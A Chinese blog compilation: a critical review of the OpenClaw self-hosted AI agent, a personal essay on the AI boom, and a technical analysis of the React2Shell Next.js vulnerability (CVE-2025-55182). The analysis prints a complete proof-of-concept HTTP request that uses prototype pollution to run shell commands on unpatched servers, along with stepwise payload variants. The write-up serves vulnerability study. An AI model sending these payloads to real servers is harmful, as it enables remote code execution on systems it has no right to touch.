但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。

Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，很多人把OpenClaw称为Web4.0时代的开端。

Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的称呼应该叫做龙虾。

无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。

绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。

其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

如果对Claude Code比较熟悉的朋友应该知道，其实Claude Cli和OpenClaw本质上没有什么区别，换言之，从设计理念的角度，OpenClaw就是没有任何安全限定的Claude Code。

从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！

OpenClaw的爆火真的是偶然吗？

OpenClaw应该是第一个，完全免费开源，并且已经进入可用阶段的托管式AI助手，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，无论是工作流、agent，还是mcp、skill，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。

这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。

对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。

国内爆火的理由？

这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手，然后你就可以“快乐”的养龙虾了。

腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。

相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如国内最早的定制化Claw之一Kimi Claw。

必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。

除此之外，最值得期待的应该是腾讯要推出的Qclaw

如果亲自上手过OpenClaw，应该会明白，这东西和IM的相性是好不好用很重要的一环，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。

ps：我想用OpenClaw做个日报，一个图片他改了2天还改不好

我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。

虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。

抛开营销，OpenClaw有价值吗？

我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。

我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。

• 什么是“养龙虾”？

用技术的方式，通俗易通的讲，就是通过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。

这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会把部分最高指令长期培养在Claude.md，AI编程就会原来越好用，同理。

• 听起来好像很靠谱？！

虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，OpenClaw并不是一个成熟的项目。

前面说过，OpenClaw是一个个人开发的项目，开发Peter还靠这个项目加入了openai，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是短短几个月OpenClaw就成了超大屎山代码，不说设计上的问题，光是代码和开发上的问题就频频出问题。

有一些特别具体的例子，我分享几个。

• 开发和管理上的问题

2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令

更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。

最关键的是OpenClaw他自己也没有做相应的记忆，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。

• 默认的配置权限混乱

如果操作OpenClaw抓取图片发送给我，大概率会失败。

我花了一段时间研究修复，最后发现原因也很搞笑。

如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。

没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。

• 上下文过长，记忆混乱

其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。

我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。

这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.6的效果了。

但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。

而且我自己的感觉是，这个问题和我的实现方式关系不大，即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。

甚至如果使用的时间够长，那么被我设置为最高指令的部分，他都不会遵守。

这让我意识到一个问题，不管问题的起因在哪，OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的，这也意味着所谓的养”龙虾”其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。

ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。

对了如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。

• 安全性？

随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。

虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈如果不能直接利用，我们更愿意把他称之为安全风险。

其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，OpenClaw的核心是托管，完全无人工参与，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但反过来他的风险也同样来自于自己。

ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。

提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？

一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了。

另一个算是问题比较大的，就是供应链攻击。

现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。

他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。

感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。

OpenClaw到底有什么用？

相比OpenClaw的缺点和问题来说，其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。

客观来说，有更好的工具珠玉在前，OpenClaw最大的优势很难撇得开门槛低。

或者说OpenClaw最大的价值就是，你可以以极低的成本操作服务器来完成任务，而这个任务目前来讲最好的实现逃不开爬虫。

比如说80%的人都看过的OpenClaw案例，推荐股票

说白了就是，读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作（应该没人真的把自动交易交给OpenClaw吧）。

本质就是一个后台运行的爬虫，建立在OpenClaw上完成这个需求门槛极低，不需要会写代码，会阐述需求即可。

我自己用OpenClaw玩了一周多的时间，其中唯一一个稳定运行没出过毛病的也是爬虫，帮我监控nga热门帖子推送给我。

主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。

这一套下来最方便的点就是，如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。

当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一。

举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。

ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动

截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中

写在最后

洋洋洒洒写了一大堆，主要还是分享我对OpenClaw的认知和见闻，营销号看的太多，总是分不清什么是真的什么是营销的，在信息爆炸的时代这或许是个常态。

• OpenClaw到底有没有意义？

有，首先作为开源工具证明了这个理念的可行性，nb

• OpenClaw到底是不是营销出来的？

是，OpenClaw原生至少现在，根本不具备被养的能力

• OpenClaw值不值得玩一下？

我只能说比你想象的可能要有用一些

我们下篇再见！

今天这篇博客，没有技术，只想和大家分享分享最近的想法。

认识我的朋友可能知道，这些年我另营业的副业做的还马马虎虎可以，无论是B站还是抖音，做视频做直播花费了很多精力，也有一些粉丝和收入。

反而是安全方向，做了很多东西但是实际的产出很少，在去年有一段时间甚至算是有点儿陷入迷茫阶段，有点儿不太清楚自己在干什么，每天公式化完成工作，最后整体算下来感觉自己也没什么成长。

我在奇安信的主要工作就是围绕破壳平台，后面我会更多分享和这个有关的内容

• https://poc.qianxin.com/

对我来说近期有一件事情影响非常之大，AI之于用户甚至之于这个时代都已经是老生常谈，哪怕是什么都不懂的人，多多少少也能打开个手机里的豆包，没事问问豆包问题，调戏调戏豆包。

从去年的年底开始，实话讲我并不知道具体是什么时候，有些人说是25年的10月，也有人说是更早，突然感觉AI的浪潮向我拍过来了，最开始我虽然会刷到这些新闻，但是很多时候只是大体看看怎么回事，大概知道，原来又多了一点儿新东西，但是好像也没啥新意。

我工作中使用AI更多的场景，依旧是平时拿AI当搜索软件搜索写代码遇到的问题，再就是用trae维护另一个我自己维护的平台功能，我很少会深度的使用AI。

在当时心中对于AI的认知还停留在，上下文不够长，幻觉严重的问题无法解决，这两个致命问题上，所以很多东西大概知道怎么回事，但是觉得没有花时间了解的必要。

直到12月底的两件事情，算是彻底改变了我的观念，也让我真真切切的意识到，或许真的AI时代的洪流，要到来了。

第一件事情就是，Claude Code的开发团队表示，在过去的30天，CC的所有代码都是由AI来完成的。

其实说实话，我没有很刻意的求证过该内容是不是有夸大其词的成分，也可能他是一次成功的营销，实际就是，我在大体了解了这件事情后续的相关内容之后（就是这个作者分享了他是怎么用cc做到这件事情的），给我造成了第一次认知冲击。

我相信在看到这句话，一定会有两种人对我讲的事情有完全不一样的第一反应。

第一种，就是很早就深耕AI agent的朋友，第一反应会觉得，这不是很正常吗，这已经是ai agent最基础不过的应用场景了。

另一种，就是当时的我，第一反应会觉得，假的吧怎么可能，我昨天用trae/cursor写代码，他还写出了一堆bug我修了一天。

但在后续仔细研究了CC团队分享的内容之后，你会发现，即便不是100%，AI的自动化率也至少超过了95%，对我来说当时的第一个冲击就是，原来已经有人领先这么多了。

第二件对我影响很大的事情就是，在12月的最后一天，我们团队内部做了一个专门的AI和漏洞挖掘的分享会，在这个分享会上，最早开始深度投入ai的团队，已经做出了一些非常不错的漏洞挖掘工作流，还有了很多成果。

这和我之前的认知大相径庭，在这之前我看过的大部分漏洞挖掘工作流，要不就是装模做样做分析但实际上上下文根本不足以支撑正常项目，只能跑跑测试样例写论文，要不就是辅助写CodeQL的规则，实际上没有脱离工具本身。

这两件事情几乎发生在同一时间，像洪流一样摧毁了我的认知，我自以为我天天了解AI的新闻，也在AI使用的第一线，但我自以为是的傲慢让我错过了最早跟上的第一班车。

在我刚刚意识到这件事情之后，马上从1月一直到3月，AI的热潮就已经越演越烈，除了过年的几天，我几乎每天都在接触和辨别新东西的诞生，今天还在测试做工作流，明天研究这个那个skill，后天研究openclaw。

我开始越来越意识到，我似乎正值某一个时代的风口。

其实在我不短不长的职业生涯中，也接触过好几次类似的事情。

我真正意义上错过的风口，其实只有一个，叫做移动互联网。但严格意义上来说也不算实际错过，毕竟移动互联网真正的核心腾讯、阿里、字节跳动，在我还没毕业的时候就已经成型了，最多就是没赶上第三波车，也不算非常可惜。

我第二次遇到所谓的风口，叫做区块链。

和第一次不太一样，我曾经深度的all in过区块链1-2年，不仅仅是区块链安全，还包括区块链相关的很多内容，我甚至可以说是世界范围内，最早投入区块链安全的人群之一。

但在区块链这件事情上，我很快意识到，区块链最大的存在意义已经到这里了，金融就是他最好的场景，于是在后续的几年里我快速的从这里抽身出来。

幸运的是我的认知是对的，炒币已经是区块链最大的意义了。不幸的是，如果我继续投入区块链，我应该能获得足以安慰自己的身家，当然，没有如果。

在中间快速的跳过几年，上一次时代浪潮的风口叫做chatgpt，我认为chatgpt对于ai最大的贡献和价值，就是他终于帮助ai迈出了最关键的那一步，就是ai可以和人类沟通了。

在chatgpt出现的前几年，无论是最出名的阿尔法狗下围棋击败柯洁，还是探讨神经网络模型的深度学术，ai对于大家来说更多只是一个科幻名词，人们对于AI最高的想象力也不过来自于科幻电影，很多人对于AI的期望可能还是50-100年后。

2022年，chatgpt完全打破了普通用户和AI的第一扇窗，我们真正开始意识到，原来AI已经可以完成这么麻烦的语义解析了，可以完全打通语言这块，但最早的chatgpt也仅限于此。

在最早的版本中，ai的实用性还很差，大部分用户只能以prompt工程师的方式，想办法调动ai的能力，更有能力的公司会开始尝试微调，真正入局的大公司开始堆算力训练自己的大模型。

ps：只有我一个人觉得当年的prompt提示词没啥实际用吗？我最早一直觉得很怪。

最早的AI上下文极短，本身AI的能力也不够强，最早的应用场景做知识库，他的应用办法也是取巧，RAG的知识库模式应该是最早唯一的实现方式。

简单来说就是

1
2
3
4
5
6
7
8
9

用户提问
   ↓
将问题向量化（Embedding）
   ↓
在知识库中检索相关文档（Vector DB）
   ↓
将检索结果 + 原始问题拼接为 Prompt
   ↓
送入 LLM 生成最终回答

实话讲这套方案效果非常差，试图将AI能力薄弱转嫁为数学问题，在实际体验中效果就很一般了，那最早做AI搜索的知识库，搜索引擎，效果都不算好，更多都是以营销为核心。

再往后，大概是2023年年终，以GPT4为代表的大模型，以插件的形式打通了大模型和其他输入来源，最早的GPT，你只能问他已经训练过的数据，我记得当时有个标准就是不能问近3年更新的内容，GPT没学过。

从GPT4开放插件之后，大模型有了第三方的输入，其中最有价值的就是联网搜索，从这里开始，GPT真正意义上成为了很多人遇到问题搜索的第一优先级，最早是程序员使用搜索代码问题，再到后来，这类的观念和理念促成了23年最火的AI工具cursor，自此用AI辅助编程就成了主流，被越来越多人接受和使用。

再往后23年末，工作流、agent的概念诞生，事实上也正是从这里开始，我低估了方法论在AI实际使用上的效果。

其实从23末到25年，这个期间比起方法论的发展，AI更主流的发展是大模型的能力。

大家都知道的deepseek发起的算力革命，ds的出现打破了openai为首试图发起21世纪算力霸权的企图，从这里开始大模型不再拼谁的算力更强，集群更大。而是谁能做出更聪明的模型。

也正是从廉价大模型能力出现之后，以豆包为首的民用AI场景越来越强，越来越实用。

现在回顾25年，可以说25年是真正的AI元年。

民用情感对话方面，豆包的诞生。

代码相关，Claude code和codex都是25年诞生。

还有一个大家可能关注比较少的领域，AI视频生成，即梦AI 2.0也是刚刚发布，在这之前AI视频更多停留在换脸或者生成一个奇怪的AI感很强的搞怪视频。

但在26年，视频AI可以说是突飞猛进，过年期间我刷到过很多关于真人AI后室vlog的视频，不知道有没有人了解过，效果非常好，在年后甚至有那种效果非常好的ai短剧出现，不是说AI视频已经可以替代真人，但会有一种护城河被冲破的感觉。

ps：我不知道我看的这个是不是最早做的，但是他用了真人演绎+AI视频做的后室vlog，效果非常好，我知道他是AI做的，但是我并不反感，真的很不错。

再往后，从26年开始，我真正意识到AI浪潮已来之后，26年的热点和浪潮一波接着一波。

首先是元旦到年间的AI大战，阿里的千问，腾讯的元宝，字节的豆包，铺天盖地的宣传和推广袭来，颇有点儿当年阿里腾讯支付大战的风采，现在最不敏感的普通民众应该都意识到似乎有很多东西不一样了。

大模型方面年后大量的新模型发布，GPT5.4，Claude Sonnet4.6，Gemini 3.1Pro，Grok 4.2，GLM5，Minmax2.5，还包括前面说的视频ai seedance 2.0，虽然大模型的能力没有革命性的进步，但不同模型的能力也在进一步拉齐。

ps：给大家推荐下我现在用的特别多的GLM5，实话讲我也觉得和opus差距较大，但是这个模型真的便宜，我近期那种测试学习向的AI都用了这个。

🚀 邀请链接：https://www.bigmodel.cn/glm-coding?ic=BNTJWOGIBH

很快我们迎来了年后的第一个大热点。

最早的Clawdbot，后来改名Moltbot，现在又改名叫Openclaw，最近最有名的应该叫做龙虾。其实Openclaw并不是第一个依托于LLM的主动代理助手，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。

年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。

今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。

时至今日，正处于时代浪潮风口当中，AI变革的时代来了吗？

或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。

该漏洞由安全研究员 Lachlan Davidson 于 2025 年 11 月 29 日发现，在3号被公开

• https://www.tenable.com/blog/react2shell-cve-2025-55182-react-server-components-rce

最早的版本大家讨论的结论是，只有使用rsc作为后端的环境才会受到漏洞的利用，主要原因还是受到了最早版本poc的影响，也就是ejpir专门构造的漏洞环境和poc。

但是很快maple3142在12月5日发布了真正的poc

• https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

在更快的时间内，next.js默认环境全版本通杀直接影响了以dify为代表的许多平台，一下子引爆了漏洞的影响范围，漏洞正式进入2阶段，大范围利用以及企业内部自查阶段。

漏洞影响范围

影响范围包括

• react-server：19.0.0，19.1.0，19.1.1，19.2.0
• Next.js：14.3.0-canary、15.x 、16.x

修复补丁版本包括

• React：19.0.1、19.1.2 、19.2.1
• Next.js：14.3.0-canary.88、15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7

简单的漏洞演示

最简单的漏洞演示非常简单，直接起一个默认环境的next.js即可

poc直接用maple的即可（这里要注意这个poc不能用来打线上环境，会打挂的）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('clac.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

漏洞分析

什么是RSC(React Server Components)？

在了解react2shell这个漏洞之前，第一个问题一定是，为什么一个前端语言会涉及到服务端的命令执行呢？这个问题就涉及到了React的新特性RSC(React Server Components)。

其实理解这个特性并不是很难，如果稍微关注过现在的前端实现方式，就会大概知道现在前端页面内容大多都是由js绘制的。打开页面往往没有实际的内容，都是由js代码完成交互获得内容并绘制页面。

但是我们换个角度去想，如果浏览器加载页面需要先js绘制，然后页面加载结束之后再去请求后端获得数据，如果页面复杂或者数据非常多，就会很容易加载慢，页面长时间的空白，体验感很差。

那么最初解决的方法也很简单，传统的SSR解决方案，就是服务器直接把页面和数据做好处理，直接返回HTML，页面就可以跳过处理的部分直接显示部分内容减少加载时间。但是问题也很明显，如果请求数量多，服务器压力就会大，而且如果页面很大，请求的js和html也会很大加载也会慢。

为了解决这些问题，后来又提出了RSC(React Server Components)，服务端做好必要的数据处理，并以Flight协议的方式下发到客户端，客户端按照接收到的内容进行选择性水合，流式的更新前端交互内容。

在23年，Next.js13进一步延伸加入了Server Actions功能，在服务端提前定义好功能，通过客户端调用服务端运行操作，效率更高。并在后续这个特性被内置到了React中。

什么是Flight协议？

这个漏洞的基础根基就是Flight协议，Flight协议就是React搞得一套用来在服务端和客户端之间传递信息的协议，传递到前端则会影响前端页面的显示内容，传递到后端则是会执行对应的Server Actions。说白了就是一个有点儿类似于java传递序列化信息的东西。

React的服务端会在接收到请求之后经过一系列处理最终反序列化得到js对象

其实大多东西都不值得关注，其中最关键的部分是类型标识，带有特殊标记的变量会在反序列化的时候转化为对应的对象引用，这点其实和其他语言反序列化的逻辑类似。

理论上来说，反序列化并没有对内容做严格的限制，只要符合格式，就可以获得对应的js对象。

而这个漏洞的核心原理，在服务端对传入内容解析转对象时，导致了原型链污染，最终触发代码执行。

在实际的漏洞之前，可能还需要知道Chunk对象是什么。

Chunk对象

在React服务端收到post请求，请求包的content-type为multipart/form-data，其中每段数据将会转化为一个Chunk对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

function Chunk(status: any, value: any, reason: any, response: Response) {
  this.status = status;
  this.value = value;
  this.reason = reason;
  this._response = response;
}
// We subclass Promise.prototype so that we get other methods like .catch
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  // If we have resolved content, we try to initialize it first which
  // might put us back into one of the other states.
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  // The status might have changed after initialization.
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

这里需要关注两个case

当case是”resolved_model”时，调用initializeModelChunk方法初始化Chunk对象

当case是”fulfilled”时，调用resolve方法处理

这个Chunk对象结构将会贯穿这个漏洞很多流程

漏洞分析

让我们回到React处理请求的逻辑上，核心位于decodeReplyFromBusboy方法

response来自于createResponse，其中_formData刚好对应表单传入的formdata

紧接着绑定事件到field上，会对应触发resolveField处理response

一直执行到return getRoot，会尝试获得response的第0个Chunk

在getChunk中，由于_formData此时不为空，所以走到createResolvedModelChunk方法，并新建一个Chunk对象，id为0

完成了Chunk对象的初始化之后，会触发then方法回到状态判断上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

Chunk.prototype.then = function <T>(
  this: SomeChunk<T>,
  resolve: (value: T) => mixed,
  reject: (reason: mixed) => mixed,
) {
  const chunk: SomeChunk<T> = this;
  switch (chunk.status) {
    case RESOLVED_MODEL:
      initializeModelChunk(chunk);
      break;
  }
  switch (chunk.status) {
    case INITIALIZED:
      resolve(chunk.value);
      break;
    case PENDING:
    case BLOCKED:
    case CYCLIC:
      if (resolve) {
        if (chunk.value === null) {
          chunk.value = ([]: Array<(T) => mixed>);
        }
        chunk.value.push(resolve);
      }
      if (reject) {
        if (chunk.reason === null) {
          chunk.reason = ([]: Array<(mixed) => mixed>);
        }
        chunk.reason.push(reject);
      }
      break;
    default:
      reject(chunk.reason);
      break;
  }
};

此时Chunk的status为RESOLVED_MODEL，所以走到initializeModelChunk方法初始化对象。

initializeModelChunk中对发送的请求做解析处理，解析完成之后会把status修改成INITIALIZED。

在reviveModel中，会解析_response的内容，当请求为string类型时，会有一段额外的指令处理逻辑，其实对应的就是前面Flight协议的类型标识

这里比较重要的有几个

• $@后跟id，可以递归获取其他id的Chunk对象，这个后面会提到的漏洞利用涉及到的点之一
• $B后跟id，可以获取对应formData中对应key的value，可控内容来源

如果第一个字符是$，但是后续没有走到对应的分支，将会在最终进入getOutlinedModel

在getOutlinedModel中，将会把$符号之后的内容按照:分割

分割后的第一段为Chunk的id，进入getChunk

后续根据Chunk的状态进入处理，依次遍历所有的path并赋值给value，这里也是触发漏洞的位置。

这里结合poc可能会更有感觉一些

1
2
3
4

poc的核心部分：$1:__proto__:then
获得id为1的Chunk对象，并且获得对应的value
value2 = value["__proto__"]
value3 = value2["then"] = value["__proto__"]["then"]

这样一来通过原型链就可以访问任意对象的属性，那么如何用这个漏洞来实现RCE呢？

这其实涉及到一个JS的特性，其实JS的非常多各种对象都是来源于同一个原型，这也是为什么JS的原型链污染问题层出不穷，就比如说很多对象向上找都会追溯到Function对象。

就比如[].constructor.constructor就是一个Function对象，操作这个对象就可以实现任意代码执行。

在这个基础上我们如何读取都知道了，你怎么如何操作呢，如果我们非常简单的直接链式调用读取Function，就会遇到这样一个问题，假设请求内容为

1
2
3
4
5
6
7
8
9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:constructor:constructor"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

此时会出现这样一个问题

1
2
3
4

1、getChunk(0)
2、getOutlinedModel中通过分割path并且遍历getChunk(1)，返回value为[]的Chunk对象
3、最终value为[].constructor.constructor也就是Function对象
4、那么此时返回上层then的是Function对象，由于Function不是一个Promise对象，无法继续执行

那唯一的办法就是要让最后返回的对象也是一个Chunk对象。

这就涉及到了一个前面提到过的知识，就是$@

• $@后跟id，可以递归获取其他id的Chunk对象

那这里我们尝试用一个嵌套递归逻辑来实现返回一个Chunk对象

1
2
3
4
5
6
7
8
9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then": "$1:then"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

来看看这个请求的处理逻辑

1
2
3
4
5

1、getChunk(0)
2、getOutlinedModel中通过分割path并且进入getChunk(1)
3、@0 触发第二次getChunk(0)，返回的是Chunk0的实例
4、返回到getOutlinedModel进入遍历，此时value对应为Chunk0的实例，return的就是Chunk对象
5、最终await触发Chunk0的then方法

这里我们理明白这套嵌套逻辑之后，其实还有一个问题，这就涉及到前面提到的另一个点

• $B后跟id，可以获取对应formData中对应key的value，可控内容来源

1
2
3
4
5
6
7
8

case 'B': {
  // Blob
  const id = parseInt(value.slice(2), 16);
  const prefix = response._prefix;
  const blobKey = prefix + id;
  const backingEntry: Blob = (response._formData.get(blobKey): any);
  return backingEntry;
}

而_prefix作为response中的可控部分，通过控制_prefix就可以指定blobKey的前半部分内容，此时如果我们通过原型链污染把get修改为Function，就可以顺利成章的触发Function(exp)

这里我们直接拿公开的poc来看利用逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
    "then": "$1:__proto__:then", 
    "status": "resolved_model", 
    "reason": -1, 
    "value": "{\"then\":\"$B1337\"}", 
    "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('whoami.exe').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});", 
        "_formData": {
            "get": "$1:constructor:constructor"
        }
    }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
